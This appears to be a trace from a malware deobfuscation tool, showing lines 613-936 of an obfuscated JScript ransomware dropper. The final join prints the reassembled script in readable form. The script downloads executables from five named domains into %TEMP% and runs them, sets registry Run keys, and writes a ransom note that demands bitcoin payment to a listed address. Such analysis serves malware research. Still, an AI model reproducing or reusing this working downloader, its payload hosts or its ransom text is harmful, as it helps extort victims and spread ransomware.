613	u18 ( 162, ' va' );	u18(162," va") ➔ undefined
614	u18 ( 383, 'coins)' );	u18(383,"coins)") ➔ undefined
615	u18 ( 197, '.typ' );	u18(197,".typ") ➔ undefined
616	u18 ( 820, 'cq' );	u18(820,"cq") ➔ undefined
617	u18 ( 292, '.File' );	u18(292,".File") ➔ undefined
618	u18 ( 27, 'r l' );	u18(27,"r l") ➔ undefined
619	u18 ( 177, '="' );	u18(177,"="") ➔ undefined
620	u18 ( 316, '("AT' );	u18(316,"("AT") ➔ undefined
621	u18 ( 802, 'c co' );	u18(802,"c co") ➔ undefined
622	u18 ( 189, 'f(xo.' );	u18(189,"f(xo.") ➔ undefined
623	u18 ( 647, ' - Y' );	u18(647," - Y") ➔ undefined
624	u18 ( 752, 'ypt' );	u18(752,"ypt") ➔ undefined
625	u18 ( 140, ' (!' );	u18(140," (!") ➔ undefined
626	u18 ( 585, 'p.Wri' );	u18(585,"p.Wri") ➔ undefined
627	u18 ( 543, '://"+l' );	u18(543,"://"+l") ➔ undefined
628	u18 ( 784, '+cq' );	u18(784,"+cq") ➔ undefined
629	u18 ( 431, 'teLin' );	u18(431,"teLin") ➔ undefined
630	u18 ( 372, 'ur' );	u18(372,"ur") ➔ undefined
631	u18 ( 698, 's+"' );	u18(698,"s+"") ➔ undefined
632	u18 ( 847, '; ws' );	u18(847,"; ws") ➔ undefined
633	u18 ( 245, '".e' );	u18(245,"".e") ➔ undefined
634	u18 ( 622, ' ' );	u18(622," ") ➔ undefined
635	u18 ( 576, '"PLE' );	u18(576,""PLE") ➔ undefined
636	u18 ( 758, '("%CO' );	u18(758,"("%CO") ➔ undefined
637	u18 ( 530, ' (' );	u18(530," (") ➔ undefined
638	u18 ( 86, 'Exp' );	u18(86,"Exp") ➔ undefined
639	u18 ( 404, 'Line' );	u18(404,"Line") ➔ undefined
640	u18 ( 299, 'ists(f' );	u18(299,"ists(f") ➔ undefined
641	u18 ( 625, 'useles' );	u18(625,"useles") ➔ undefined
642	u18 ( 516, 'ou' );	u18(516,"ou") ➔ undefined
643	u18 ( 829, '/y "+c' );	u18(829,"/y "+c") ➔ undefined
644	u18 ( 405, '("1. ' );	u18(405,"("1. ") ➔ undefined
645	u18 ( 96, 'hp4ts.' );	u18(96,"hp4ts.") ➔ undefined
646	u18 ( 178, '+ad+' );	u18(178,"+ad+") ➔ undefined
647	u18 ( 789, '+cq+f' );	u18(789,"+cq+f") ➔ undefined
648	u18 ( 621, 'ne("' );	u18(621,"ne("") ➔ undefined
649	u18 ( 708, 'Ver' );	u18(708,"Ver") ➔ undefined
650	u18 ( 716, '+cq+' );	u18(716,"+cq+") ➔ undefined
651	u18 ( 582, 'te' );	u18(582,"te") ➔ undefined
652	u18 ( 379, '+bc+" ' );	u18(379,"+bc+" ") ➔ undefined
653	u18 ( 51, 'dostde' );	u18(51,"dostde") ➔ undefined
654	u18 ( 436, '"2. Bu' );	u18(436,""2. Bu") ➔ undefined
655	u18 ( 456, ' ' );	u18(456," ") ➔ undefined
656	u18 ( 171, '://"' );	u18(171,"://"") ➔ undefined
657	u18 ( 163, 'r d' );	u18(163,"r d") ➔ undefined
658	u18 ( 181, '"&rnd' );	u18(181,""&rnd") ➔ undefined
659	u18 ( 586, 'teL' );	u18(586,"teL") ➔ undefined
660	u18 ( 710, 'cs' );	u18(710,"cs") ➔ undefined
661	u18 ( 134, 'g.Fi' );	u18(134,"g.Fi") ➔ undefined
662	u18 ( 52, 'tym.r' );	u18(52,"tym.r") ➔ undefined
663	u18 ( 841, '+cs+' );	u18(841,"+cs+") ➔ undefined
664	u18 ( 644, 'eLin' );	u18(644,"eLin") ➔ undefined
665	u18 ( 98, 'l";' );	u18(98,"l";") ➔ undefined
666	u18 ( 515, 'n y' );	u18(515,"n y") ➔ undefined
667	u18 ( 514, 's i' );	u18(514,"s i") ➔ undefined
668	u18 ( 803, 'py /' );	u18(803,"py /") ➔ undefined
669	u18 ( 101, 'xo' );	u18(101,"xo") ➔ undefined
670	u18 ( 894, ');}' );	u18(894,");}") ➔ undefined
671	u18 ( 297, 'fo.Fil' );	u18(297,"fo.Fil") ➔ undefined
672	u18 ( 233, 'at' );	u18(233,"at") ➔ undefined
673	u18 ( 826, '% /' );	u18(826,"% /") ➔ undefined
674	u18 ( 500, ' fp.' );	u18(500," fp.") ➔ undefined
675	u18 ( 731, '); ' );	u18(731,"); ") ➔ undefined
676	u18 ( 125, 'WScri' );	u18(125,"WScri") ➔ undefined
677	u18 ( 263, 'veToFi' );	u18(263,"veToFi") ➔ undefined
678	u18 ( 895, ';fp.C' );	u18(895,";fp.C") ➔ undefined
679	u18 ( 43, 'a.c' );	u18(43,"a.c") ➔ undefined
680	u18 ( 203, 'e(xo.' );	u18(203,"e(xo.") ➔ undefined
681	u18 ( 746, '/ve /' );	u18(746,"/ve /") ➔ undefined
682	u18 ( 154, ' for(v' );	u18(154," for(v") ➔ undefined
683	u18 ( 808, 'cq+' );	u18(808,"cq+") ➔ undefined
684	u18 ( 832, 'xt"+c' );	u18(832,"xt"+c") ➔ undefined
685	u18 ( 830, 'q+fn' );	u18(830,"q+fn") ➔ undefined
686	u18 ( 289, '+".exe' );	u18(289,"+".exe") ➔ undefined
687	u18 ( 818, 'YPT.t' );	u18(818,"YPT.t") ➔ undefined
688	u18 ( 520, 'ownlo' );	u18(520,"ownlo") ➔ undefined
689	u18 ( 751, 'cq+"Cr' );	u18(751,"cq+"Cr") ➔ undefined
690	u18 ( 695, 's+"SO' );	u18(695,"s+"SO") ➔ undefined
691	u18 ( 136, 'ystemO' );	u18(136,"ystemO") ➔ undefined
692	u18 ( 845, '"+cq,' );	u18(845,""+cq,") ➔ undefined
693	u18 ( 641, '");' );	u18(641,"");") ➔ undefined
694	u18 ( 352, ' usin' );	u18(352," usin") ➔ undefined
695	u18 ( 138, ');' );	u18(138,");") ➔ undefined
696	u18 ( 541, '" ' );	u18(541,"" ") ➔ undefined
697	u18 ( 432, 'e("")' );	u18(432,"e("")") ➔ undefined
698	u18 ( 904, 'q+fn+' );	u18(904,"q+fn+") ➔ undefined
699	u18 ( 639, 'tware,' );	u18(639,"tware,") ➔ undefined
700	u18 ( 559, '. Run' );	u18(559,". Run") ➔ undefined
701	u18 ( 117, 'teObje' );	u18(117,"teObje") ➔ undefined
702	u18 ( 488, 'p.Wr' );	u18(488,"p.Wr") ➔ undefined
703	u18 ( 42, 'ican' );	u18(42,"ican") ➔ undefined
704	u18 ( 331, 'uments' );	u18(331,"uments") ➔ undefined
705	u18 ( 248, ' els' );	u18(248," els") ➔ undefined
706	u18 ( 899, 'un("%C' );	u18(899,"un("%C") ➔ undefined
707	u18 ( 85, 's.' );	u18(85,"s.") ➔ undefined
708	u18 ( 63, 'Scrip' );	u18(63,"Scrip") ➔ undefined
709	u18 ( 323, 'e("' );	u18(323,"e("") ➔ undefined
710	u18 ( 589, ' - If' );	u18(589," - If") ➔ undefined
711	u18 ( 295, 'pd' );	u18(295,"pd") ➔ undefined
712	u18 ( 60, 'je' );	u18(60,"je") ➔ undefined
713	u18 ( 571, 'ne' );	u18(571,"ne") ➔ undefined
714	u18 ( 325, '.Wr' );	u18(325,".Wr") ➔ undefined
715	u18 ( 320, '; ' );	u18(320,"; ") ➔ undefined
716	u18 ( 470, '("")' );	u18(470,"("")") ➔ undefined
717	u18 ( 728, '+".txt' );	u18(728,"+".txt") ➔ undefined
718	u18 ( 393, 'is ' );	u18(393,"is ") ➔ undefined
719	u18 ( 401, '; fp' );	u18(401,"; fp") ➔ undefined
720	u18 ( 604, '); f' );	u18(604,"); f") ➔ undefined
721	u18 ( 634, 'ate a' );	u18(634,"ate a") ➔ undefined
722	u18 ( 734, 'OMSP' );	u18(734,"OMSP") ➔ undefined
723	u18 ( 871, 'xt"' );	u18(871,"xt"") ➔ undefined
724	u18 ( 106, 'eateO' );	u18(106,"eateO") ➔ undefined
725	u18 ( 638, ' sof' );	u18(638," sof") ➔ undefined
726	u18 ( 182, '="+i' );	u18(182,"="+i") ➔ undefined
727	u18 ( 623, ' - It' );	u18(623," - It") ➔ undefined
728	u18 ( 594, ' d' );	u18(594," d") ➔ undefined
729	u18 ( 565, 'your' );	u18(565,"your") ➔ undefined
730	u18 ( 160, 'i+' );	u18(160,"i+") ➔ undefined
731	u18 ( 540, 'ne(' );	u18(540,"ne(") ➔ undefined
732	u18 ( 505, 'teLin' );	u18(505,"teLin") ➔ undefined
733	u18 ( 251, '){xa' );	u18(251,"){xa") ➔ undefined
734	u18 ( 97, 'dl' );	u18(97,"dl") ➔ undefined
735	u18 ( 859, '1)' );	u18(859,"1)") ➔ undefined
736	u18 ( 193, ' { ' );	u18(193," { ") ➔ undefined
737	u18 ( 885, 'i=' );	u18(885,"i=") ➔ undefined
738	u18 ( 874, ' var f' );	u18(874," var f") ➔ undefined
739	u18 ( 494, 'Li' );	u18(494,"Li") ➔ undefined
740	u18 ( 275, 'ld=i' );	u18(275,"ld=i") ➔ undefined
741	u18 ( 21, 'ing.fr' );	u18(21,"ing.fr") ➔ undefined
742	u18 ( 707, 'ent' );	u18(707,"ent") ➔ undefined
743	u18 ( 469, 'Line' );	u18(469,"Line") ➔ undefined
744	u18 ( 107, 'bject(' );	u18(107,"bject(") ➔ undefined
745	u18 ( 78, 'EM' );	u18(78,"EM") ➔ undefined
746	u18 ( 667, ' - Y' );	u18(667," - Y") ➔ undefined
747	u18 ( 861, 'Run(' );	u18(861,"Run(") ➔ undefined
748	u18 ( 817, 'CR' );	u18(817,"CR") ➔ undefined
749	u18 ( 496, ' ' );	u18(496," ") ➔ undefined
750	u18 ( 651, ' be ' );	u18(651," be ") ➔ undefined
751	u18 ( 610, ' Nobo' );	u18(610," Nobo") ➔ undefined
752	u18 ( 550, 'p.Writ' );	u18(550,"p.Writ") ➔ undefined
753	u18 ( 600, ' ALL ' );	u18(600," ALL ") ➔ undefined
754	u18 ( 918, 'cq,0' );	u18(918,"cq,0") ➔ undefined
755	u18 ( 214, ' dn=' );	u18(214," dn=") ➔ undefined
756	u18 ( 761, '/c ' );	u18(761,"/c ") ➔ undefined
757	u18 ( 355, 'SA-' );	u18(355,"SA-") ➔ undefined
758	u18 ( 483, 'Bitc' );	u18(483,"Bitc") ➔ undefined
759	u18 ( 58, 'at' );	u18(58,"at") ➔ undefined
760	u18 ( 64, 't.' );	u18(64,"t.") ➔ undefined
761	u18 ( 662, '.")' );	u18(662,".")") ➔ undefined
762	u18 ( 854, '"+c' );	u18(854,""+c") ➔ undefined
763	u18 ( 261, 'xa' );	u18(261,"xa") ➔ undefined
764	u18 ( 61, 'ct' );	u18(61,"ct") ➔ undefined
765	u18 ( 506, 'e("4. ' );	u18(506,"e("4. ") ➔ undefined
766	u18 ( 49, '.br"' );	u18(49,".br"") ➔ undefined
767	u18 ( 451, '"")' );	u18(451,""")") ➔ undefined
768	u18 ( 873, ',0);' );	u18(873,",0);") ➔ undefined
769	u18 ( 872, '+cq,0' );	u18(872,"+cq,0") ➔ undefined
770	u18 ( 546, 'unter/' );	u18(546,"unter/") ➔ undefined
771	u18 ( 769, 'd"' );	u18(769,"d"") ➔ undefined
772	u18 ( 679, 'RYPT.' );	u18(679,"RYPT.") ➔ undefined
773	u18 ( 655, 'onl' );	u18(655,"onl") ➔ undefined
774	u18 ( 566, ' files' );	u18(566," files") ➔ undefined
775	u18 ( 35, '1ai",' );	u18(35,"1ai",") ➔ undefined
776	u18 ( 462, 'com/' );	u18(462,"com/") ➔ undefined
777	u18 ( 822, '; ws.' );	u18(822,"; ws.") ➔ undefined
778	u18 ( 174, 'unt' );	u18(174,"unt") ➔ undefined
779	u18 ( 535, 'engt' );	u18(535,"engt") ➔ undefined
780	u18 ( 721, '/t RE' );	u18(721,"/t RE") ➔ undefined
781	u18 ( 55, 'r ws=W' );	u18(55,"r ws=W") ➔ undefined
782	u18 ( 33, 'mg.xn' );	u18(33,"mg.xn") ➔ undefined
783	u18 ( 350, ' enc' );	u18(350," enc") ➔ undefined
784	u18 ( 574, '.Write' );	u18(574,".Write") ➔ undefined
785	u18 ( 235, '{};' );	u18(235,"{};") ➔ undefined
786	u18 ( 827, 'c cop' );	u18(827,"c cop") ➔ undefined
787	u18 ( 906, 'php' );	u18(906,"php") ➔ undefined
788	u18 ( 303, 'r f' );	u18(303,"r f") ➔ undefined
789	u18 ( 601, 'YOUR' );	u18(601,"YOUR") ➔ undefined
790	u18 ( 366, ' fp.W' );	u18(366," fp.W") ➔ undefined
791	u18 ( 583, 'Line("' );	u18(583,"Line("") ➔ undefined
792	u18 ( 626, 's ' );	u18(626,"s ") ➔ undefined
793	u18 ( 745, 'cq+" ' );	u18(745,"cq+" ") ➔ undefined
794	u18 ( 221, 'le' );	u18(221,"le") ➔ undefined
795	u18 ( 806, '+".tx' );	u18(806,"+".tx") ➔ undefined
796	u18 ( 453, 'fp.' );	u18(453,"fp.") ➔ undefined
797	u18 ( 640, ' etc.' );	u18(640," etc.") ➔ undefined
798	u18 ( 926, ' "+c' );	u18(926," "+c") ➔ undefined
799	u18 ( 281, 'er){' );	u18(281,"er){") ➔ undefined
800	u18 ( 296, ') && ' );	u18(296,") && ") ➔ undefined
801	u18 ( 686, 'Run("%' );	u18(686,"Run("%") ➔ undefined
802	u18 ( 2, 'var' );	u18(2,"var") ➔ undefined
803	u18 ( 670, 'n find' );	u18(670,"n find") ➔ undefined
804	u18 ( 202, 'it' );	u18(202,"it") ➔ undefined
805	u18 ( 403, 'ite' );	u18(403,"ite") ➔ undefined
806	u18 ( 658, ' y' );	u18(658," y") ➔ undefined
807	u18 ( 729, '"+cq,' );	u18(729,""+cq,") ➔ undefined
808	u18 ( 243, 'le(' );	u18(243,"le(") ➔ undefined
809	u18 ( 123, ' va' );	u18(123," va") ➔ undefined
810	u18 ( 522, 'decr' );	u18(522,"decr") ➔ undefined
811	u18 ( 386, '.Wri' );	u18(386,".Wri") ➔ undefined
812	u18 ( 270, '.clos' );	u18(270,".clos") ➔ undefined
813	u18 ( 599, 'OSE' );	u18(599,"OSE") ➔ undefined
814	u18 ( 892, 'Li' );	u18(892,"Li") ➔ undefined
815	u18 ( 606, 'eLine(' );	u18(606,"eLine(") ➔ undefined
816	u18 ( 742, '".c' );	u18(742,"".c") ➔ undefined
817	u18 ( 713, 'q+"' );	u18(713,"q+"") ➔ undefined
818	u18 ( 425, 'in.i' );	u18(425,"in.i") ➔ undefined
819	u18 ( 527, 'Line' );	u18(527,"Line") ➔ undefined
820	u18 ( 792, '+cs' );	u18(792,"+cs") ➔ undefined
821	u18 ( 426, 'nfo/' );	u18(426,"nfo/") ➔ undefined
822	u18 ( 377, 'to pay' );	u18(377,"to pay") ➔ undefined
823	u18 ( 250, '==4' );	u18(250,"==4") ➔ undefined
824	u18 ( 304, 'p=fo' );	u18(304,"p=fo") ➔ undefined
825	u18 ( 387, 'teLine' );	u18(387,"teLine") ➔ undefined
826	u18 ( 502, 'ine(""' );	u18(502,"ine(""") ➔ undefined
827	u18 ( 179, '"&id' );	u18(179,""&id") ➔ undefined
828	u18 ( 358, 'orit' );	u18(358,"orit") ➔ undefined
829	u18 ( 13, 'ng' );	u18(13,"ng") ➔ undefined
830	u18 ( 290, '") &&' );	u18(290,"") &&") ➔ undefined
831	u18 ( 441, 'wit' );	u18(441,"wit") ➔ undefined
832	u18 ( 503, '); f' );	u18(503,"); f") ➔ undefined
833	u18 ( 413, '.Writ' );	u18(413,".Writ") ➔ undefined
834	u18 ( 15, 'Cha' );	u18(15,"Cha") ➔ undefined
835	u18 ( 287, 'ists(' );	u18(287,"ists(") ➔ undefined
836	u18 ( 166, ' xo.' );	u18(166," xo.") ➔ undefined
837	u18 ( 555, '.W' );	u18(555,".W") ➔ undefined
838	u18 ( 217, '<=2' );	u18(217,"<=2") ➔ undefined
839	u18 ( 688, 'EC%' );	u18(688,"EC%") ➔ undefined
840	u18 ( 913, '% /c' );	u18(913,"% /c") ➔ undefined
841	u18 ( 759, 'MSPE' );	u18(759,"MSPE") ➔ undefined
842	u18 ( 846, '0,0)' );	u18(846,"0,0)") ➔ undefined
843	u18 ( 887, 'i<10' );	u18(887,"i<10") ➔ undefined
844	u18 ( 694, 'U"+c' );	u18(694,"U"+c") ➔ undefined
845	u18 ( 780, 'G_SZ' );	u18(780,"G_SZ") ➔ undefined
846	u18 ( 190, 'statu' );	u18(190,"statu") ➔ undefined
847	u18 ( 858, '+cq,0,' );	u18(858,"+cq,0,") ➔ undefined
848	u18 ( 765, 'q+"HKC' );	u18(765,"q+"HKC") ➔ undefined
849	u18 ( 0, 'var id' );	u18(0,"var id") ➔ undefined
850	u18 ( 156, 'd;i<ll' );	u18(156,"d;i<ll") ➔ undefined
851	u18 ( 563, ' resto' );	u18(563," resto") ➔ undefined
852	u18 ( 127, '.C' );	u18(127,".C") ➔ undefined
853	u18 ( 839, 'Deskt' );	u18(839,"Deskt") ➔ undefined
854	u18 ( 590, ' you' );	u18(590," you") ➔ undefined
855	u18 ( 130, 'ct(' );	u18(130,"ct(") ➔ undefined
856	u18 ( 31, '0adi0b' );	u18(31,"0adi0b") ➔ undefined
857	u18 ( 507, 'Open o' );	u18(507,"Open o") ➔ undefined
858	u18 ( 739, 'q+' );	u18(739,"q+") ➔ undefined
859	u18 ( 771, 'shell"' );	u18(771,"shell"") ➔ undefined
860	u18 ( 349, '("were' );	u18(349,"("were") ➔ undefined
861	u18 ( 730, '0,0' );	u18(730,"0,0") ➔ undefined
862	u18 ( 442, 'h cas' );	u18(442,"h cas") ➔ undefined
863	u18 ( 225, ');tr' );	u18(225,");tr") ➔ undefined
864	u18 ( 256, 'd,2);' );	u18(256,"d,2);") ➔ undefined
865	u18 ( 302, ' { va' );	u18(302," { va") ➔ undefined
866	u18 ( 73, 'onmen' );	u18(73,"onmen") ➔ undefined
867	u18 ( 324, '"); fp' );	u18(324,""); fp") ➔ undefined
868	u18 ( 732, 'ws.R' );	u18(732,"ws.R") ➔ undefined
869	u18 ( 305, '.Cre' );	u18(305,".Cre") ➔ undefined
870	u18 ( 131, '"Scr' );	u18(131,""Scr") ➔ undefined
871	u18 ( 893, 'ne(ad' );	u18(893,"ne(ad") ➔ undefined
872	u18 ( 69, 'ws.E' );	u18(69,"ws.E") ➔ undefined
873	u18 ( 646, ' ' );	u18(646," ") ➔ undefined
874	u18 ( 314, 'riteL' );	u18(314,"riteL") ➔ undefined
875	u18 ( 486, 'ss:"' );	u18(486,"ss:"") ➔ undefined
876	u18 ( 19, ' cs=' );	u18(19," cs=") ➔ undefined
877	u18 ( 196, '(); xa' );	u18(196,"(); xa") ➔ undefined
878	u18 ( 71, 'nv' );	u18(71,"nv") ➔ undefined
879	u18 ( 210, '.size' );	u18(210,".size") ➔ undefined
880	u18 ( 744, 'ed"+' );	u18(744,"ed"+") ➔ undefined
881	u18 ( 172, '+ll[i]' );	u18(172,"+ll[i]") ➔ undefined
882	u18 ( 852, ' "+fn+' );	u18(852," "+fn+") ➔ undefined
883	u18 ( 875, 'p=fo.' );	u18(875,"p=fo.") ➔ undefined
884	u18 ( 837, 'ofile%' );	u18(837,"ofile%") ➔ undefined
885	u18 ( 87, 'andEn' );	u18(87,"andEn") ➔ undefined
886	u18 ( 253, 'ave' );	u18(253,"ave") ➔ undefined
887	u18 ( 119, 'ADO' );	u18(119,"ADO") ➔ undefined
888	u18 ( 164, 'n=0; t' );	u18(164,"n=0; t") ➔ undefined
889	u18 ( 12, 'ri' );	u18(12,"ri") ➔ undefined
890	u18 ( 342, 'rs' );	u18(342,"rs") ➔ undefined
891	u18 ( 129, 'Obje' );	u18(129,"Obje") ➔ undefined
892	u18 ( 492, 'fp.Wri' );	u18(492,"fp.Wri") ➔ undefined
893	u18 ( 145, 'ts(fn' );	u18(145,"ts(fn") ➔ undefined
894	u18 ( 157, '.le' );	u18(157,".le") ➔ undefined
895	u18 ( 821, ',0,0)' );	u18(821,",0,0)") ➔ undefined
896	u18 ( 449, '.Writ' );	u18(449,".Writ") ➔ undefined
897	u18 ( 653, 'cry' );	u18(653,"cry") ➔ undefined
898	u18 ( 201, 'wr' );	u18(201,"wr") ➔ undefined
899	u18 ( 551, 'eL' );	u18(551,"eL") ➔ undefined
900	u18 ( 905, '".' );	u18(905,"".") ➔ undefined
901	u18 ( 365, 'y.");' );	u18(365,"y.");") ➔ undefined
902	u18 ( 781, ' /' );	u18(781," /") ➔ undefined
903	u18 ( 468, 'ite' );	u18(468,"ite") ➔ undefined
904	u18 ( 650, 'can' );	u18(650,"can") ➔ undefined
905	u18 ( 122, 'm");' );	u18(122,"m");") ➔ undefined
906	u18 ( 430, 'fp.Wri' );	u18(430,"fp.Wri") ➔ undefined
907	u18 ( 705, 'cs' );	u18(705,"cs") ➔ undefined
908	u18 ( 338, 'othe' );	u18(338,"othe") ➔ undefined
909	u18 ( 801, ' /' );	u18(801," /") ➔ undefined
910	u18 ( 244, 'fn+' );	u18(244,"fn+") ➔ undefined
911	u18 ( 774, '"+cs+"' );	u18(774,""+cs+"") ➔ undefined
912	u18 ( 222, '(fn+n' );	u18(222,"(fn+n") ➔ undefined
913	u18 ( 791, 'xt"' );	u18(791,"xt"") ➔ undefined
914	u18 ( 645, 'e(" ' );	u18(645,"e(" ") ➔ undefined
915	u18 ( 743, 'rypt' );	u18(743,"rypt") ➔ undefined
916	u18 ( 833, 'q+' );	u18(833,"q+") ➔ undefined
917	u18 ( 249, 'e if(n' );	u18(249,"e if(n") ➔ undefined
918	u18 ( 684, 'se(' );	u18(684,"se(") ➔ undefined
919	u18 ( 36, '"jpnov' );	u18(36,""jpnov") ➔ undefined
920	u18 ( 420, ' htt' );	u18(420," htt") ➔ undefined
921	u18 ( 204, 're' );	u18(204,"re") ➔ undefined
922	u18 ( 889, ';i++){' );	u18(889,";i++){") ➔ undefined
923	u18 ( 580, '"); ' );	u18(580,""); ") ➔ undefined
924	u18 ( 607, '" ' );	u18(607,"" ") ➔ undefined
925	u18 ( 410, 't here' );	u18(410,"t here") ➔ undefined
926	u18 ( 642, ' fp.Wr' );	u18(642," fp.Wr") ➔ undefined
927	u18 ( 819, 'xt"+' );	u18(819,"xt"+") ➔ undefined
928	u18 ( 424, 'kcha' );	u18(424,"kcha") ➔ undefined
929	u18 ( 756, 'ws.' );	u18(756,"ws.") ➔ undefined
930	u18 ( 689, ' /c R' );	u18(689," /c R") ➔ undefined
931	u18 ( 696, 'FTWAR' );	u18(696,"FTWAR") ➔ undefined
932	u18 ( 635, 'nti' );	u18(635,"nti") ➔ undefined
933	u18 ( 682, '.C' );	u18(682,".C") ➔ undefined
934	u18 ( 41, 'rop' );	u18(41,"rop") ➔ undefined
935	u18 ( 876, 'Crea' );	u18(876,"Crea") ➔ undefined
936	x26 = x26.join ( "" );	var id,="rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA"; ,var, ad=,"1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN"; v,ar bc,="0.44,780"; ,var ,ld=0; ,var cq,=St,ri,ng,.from,Cha,rCode,(34),; var, cs=,Str,ing.fr,omCha,rC,od,e(92),; va,r l,l=[,"xn,--8,0adi0b,dhdb,mg.xn,--p,1ai",,"jpnov,o.ru",,"l,acamp,agnet,rop,ican,a.c,om","c,estasg,abr,asil.,com,.br",,"ra,dostde,tym.r,u",]; va,r ws=W,Script,.Cre,at,eOb,je,ct,("W,Scrip,t.,She,ll");, v,ar fn=,ws.E,xpandE,nv,ir,onmen,tS,tr,ing,s("%T,EM,P%,")+cs+,"a";, va,r ,pd=w,s.,Exp,andEn,viro,nmentS,tring,s(,"%TEM,P%"),+cs+,"p,hp4ts.,dl,l";, va,r ,xo,=W,Sc,ript.,Cr,eateO,bject(,"Msx,ml2.,XML,HTTP"),; va,r x,a=W,Script,.Crea,teObje,ct(",ADO,DB.,Strea,m");, va,r fo=,WScri,pt,.C,reate,Obje,ct(,"Scr,ipt,in,g.Fi,leS,ystemO,bject",);, if, (!,fo.,File,Ex,is,ts(fn,+".txt,")) { ,for,(var, n,=1,;n<=5;,n++) {, for(v,ar i=l,d;i<ll,.le,ng,th;,i+,+) {, va,r d,n=0; t,ry {, xo.,open(,"G,ET",,"http,://",+ll[i],+"/co,unt,er/,?ad,=",+ad+,"&id,="+id+,"&rnd,="+i,+n,, false,);, xo.s,end(,); i,f(xo.,statu,s=,=200), { ,xa.op,en,(); xa,.typ,e=,1;, xa.,wr,it,e(xo.,re,spo,ns,eBo,dy);, if(xa,.size,>10,00,) {, dn=,1;, if(n,<=2,){xa.s,aveT,oFi,le,(fn+n,+".e,xe",2,);tr,y{,ws.Run,(fn+n,+",.exe,",1,,0);}c,at,ch(er),{};,} els,e if(,n==,3){x,a.,save,ToFi,le(,fn+,".e,xe",2,);}, els,e if(n,==4,){xa,.s,ave,ToFile,(p,d,2);,} el,se if(,n==,5){,xa,.sa,veToFi,le(,fn+,".ph,p",2),;} }; ,xa,.clos,e(); ,};, if(d,n==1){,ld=i,;break,;};, }, c,atch(,er){,}; }; ,}; if(,fo.,Fi,leEx,ists(,fn,+".exe,") &&, fo,.File,Exist,s(,pd,) && ,fo.Fil,eEx,ists(f,n+".,php")), { va,r f,p=fo,.Cre,ate,Text,File(,fn+".t,xt,",tr,ue);, fp.W,riteL,ine,("AT,TENTI,ON,!"),; ,fp.Wr,iteLin,e(","); fp,.Wr,it,eLin,e("All, your, doc,uments,, pho,tos,, da,tabas,es ,and ,othe,r imp,ort,ant pe,rs,onal f,iles,"); ,fp.Wri,te,Line,("were, enc,rypted, usin,g str,ong R,SA-,102,4 alg,orit,hm w,it,h a ,uni,que ,ke,y.");, fp.W,rit,eLine,("To ,restor,e yo,ur, file,s ,you, have ,to pay, ",+bc+" ,BTC ,(b,it,coins),."),; fp,.Wri,teLine,("Ple,as,e fo,llow, th,is ,manu,al:"),; fp,.Wr,it,eLine(,""),; fp,.Wr,ite,Line,("1. ,Cre,ate Bi,tcoin ,walle,t here,:"); ,fp,.Writ,eLine,(""); ,fp.Wri,teLine,(", , htt,ps:,//bl,oc,kcha,in.i,nfo/,wall,et/n,ew"); ,fp.Wri,teLin,e(""),; fp.,Write,Line(,"2. Bu,y ",+bc+," BT,C ,wit,h cas,h, us,ing se,arch h,ere:",); ,fp,.Writ,eLine(,""),; ,fp.,Write,Line(", , htt,ps://,loc,albitc,oins.,com/,buy_,bitc,oins,"); fp,.Wr,ite,Line,(""),; fp.W,ri,teLi,ne("3., Se,nd ",+bc+," ,BT,C to, t,his ,Bitc,oin, addre,ss:",); f,p.Wr,ite,Line(,""); ,fp.Wri,te,Li,ne(" , , "+,ad,);, fp.,WriteL,ine("",); f,p.Wri,teLin,e("4. ,Open o,ne, of, the, follo,wing l,ink,s i,n y,ou,r b,rowse,r to d,ownlo,ad ,decr,yptor:,");, fp.,Write,Line,("",); for, (,var i,=0,;i<,ll.l,engt,h;,i++) {, fp.W,riteLi,ne(," , http,://"+l,l[i],+"/co,unter/,?a=",+ad);, }; f,p.Writ,eL,ine(","),; fp,.W,rit,eL,ine("5,. Run, decry,pto,r to, resto,re ,your, files,.",);, fp.W,riteLi,ne,(""); ,fp,.Write,Line(,"PLE,ASE ,REME,MBER:,"); ,fp.Wri,te,Line(","); f,p.Wri,teL,ine(," , - If, you, do n,ot pa,y in 3, d,ays, Y,OU, LO,OSE, ALL ,YOUR, FI,LES.",); f,p.Writ,eLine(," , , -, Nobo,dy ca,n ,help, yo,u exc,ept us,.",); fp,.Writ,eLi,ne(", , - It,`s ,useles,s ,to rei,nst,all, W,ind,ows, u,pd,ate a,nti,vir,us, sof,tware,, etc.,");, fp.Wr,it,eLin,e(" , , - Y,our fi,les ,can, be ,de,cry,pted ,onl,y ,after, y,ou mak,e pa,yment,."),; f,p.Writ,eLine,(" , - Y,ou ,ca,n find, this, man,ual on, yo,ur ,desk,top (,DEC,RYPT.,txt).,"); fp,.C,lo,se(,); ws.,Run("%,COMSP,EC%, /c R,EG, ADD ,"+cq+,"HKC,U"+c,s+"SO,FTWAR,E"+c,s+",Micros,oft"+,cs,+"W,ind,ows"+,cs,+"Curr,ent,Ver,sion"+,cs,+"Run,"+c,q+", /,V ",+cq+,"Cry,pted,"+,cq+" ,/t RE,G_,SZ ,/F, /D ,"+c,q+fn,+".txt,"+cq,,0,0,); ,ws.R,un("%C,OMSP,EC%, /c R,EG ADD, "+c,q+,"HKCR,"+cs+,".c,rypt,ed"+,cq+" ,/ve /,t R,EG_,SZ /F, /D "+,cq+"Cr,ypt,ed",+cq,0,,0); ,ws.,Run,("%CO,MSPE,C% ,/c ,REG, ADD ,"+c,q+"HKC,R"+cs+,"Cry,pte,d",+cs+",shell",+cs+"o,pen,"+cs+",comman,d",+cq,+" /ve, /t RE,G_SZ, /,F /D, ",+cq,+"note,pa,d.exe ,"+cs,+cq+f,n+".t,xt".join("") ➔ "var id="rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA"; var ad="1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN"; var bc="0.44780"; var ld=0; var cq=String.fromCharCode(34); var cs=String.fromCharCode(92); var ll=["xn--80adi0bdhdbmg.xn--p1ai","jpnovo.ru","lacampagnetropicana.com","cestasgabrasil.com.br","radostdetym.ru"]; var ws=WScript.CreateObject("WScript.Shell"); var fn=ws.ExpandEnvironmentStrings("%TEMP%")+cs+"a"; var pd=ws.ExpandEnvironmentStrings("%TEMP%")+cs+"php4ts.dll"; var xo=WScript.CreateObject("Msxml2.XMLHTTP"); var xa=WScript.CreateObject("ADODB.Stream"); var 